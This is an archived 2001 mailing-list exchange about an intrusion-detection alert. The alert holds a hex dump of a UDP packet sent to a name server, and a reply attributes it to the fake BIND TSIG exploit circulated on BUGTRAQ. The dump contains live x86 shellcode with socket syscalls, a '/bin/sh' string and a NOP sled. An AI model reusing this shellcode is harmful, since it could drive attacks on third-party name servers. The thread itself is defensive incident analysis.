The source ran the fake BIND TSIG exploit released on BUGTRAQ last week
using your system as the intended target. Pretty sad since it means
they were also (unknowingly?) attacking NAI's name server.
-paul
Mihai Moldovanu wrote:
>
> [**] IDS362 - MISC - Shellcode X86 NOPS-UDP [**]
> 02/01-09:31:30.076442 0:10:7B:40:91:C0 -> 0:1:2:F7:76:B8 type:0x800
> len:0x22A
> 141.85.31.233:1025 -> OurNameServer:53 UDP TTL:60 TOS:0x0 ID:0 DF
> Len: 520
> 00 D0 84 00 00 01 00 00 00 00 00 01 00 CD 80 83 ................
> C4 08 3D 04 00 18 01 7C 05 E8 15 00 00 00 E8 80 ..=....|........
> 00 00 00 E8 53 49 47 4E 41 54 55 52 45 E8 52 53 ....SIGNATURE.RS
> 41 00 00 EB 34 5E BB 01 00 00 00 89 F1 B8 66 00 A...4^........f.
> 00 00 CD 80 89 46 14 8D 46 30 89 46 18 31 C0 89 .....F..F0.F.1..
> 46 20 8D 46 0C 89 46 24 B8 66 00 00 00 BB 0B 00 F .F..F$.f......
> 00 00 8D 4E 14 CD 80 EB EF E8 C7 FF FF FF 02 00 ...N............
> 00 00 02 00 00 00 11 00 00 00 02 00 00 35 A1 45 .............5.E
> 03 96 FF FF FF FF EF FF FF FF 00 04 00 00 00 00 ................
> 00 00 02 5F 9A 80 10 00 00 00 2F 62 69 6E 2F 73 ..._....../bin/s
> 68 00 00 EB 37 5E 6A 11 6A 02 6A 02 6A 66 8D 05 h...7^j.j.j.jf..
> 61 00 00 00 CD 80 89 C2 6A 10 89 F0 50 31 C0 50 a.......j...P1.P
> 68 24 10 00 00 8D 46 0F 50 52 68 88 00 00 00 8D h$....F.PRh.....
> 05 85 00 00 00 CD 80 83 C4 1C EB DC E8 C4 FF FF ................
> FF 00 02 00 35 A1 45 03 96 E8 B1 FF FF FF 2F 62 ....5.E......./b
> 69 6E 2F 73 68 00 00 90 90 90 90 90 90 90 90 90 in/sh...........
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
> =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
>
> The shellcode inside the second packet it's pretty strage . Anyone can
> take a deeper look at it ?
Received on Feb 05 2001
Intro
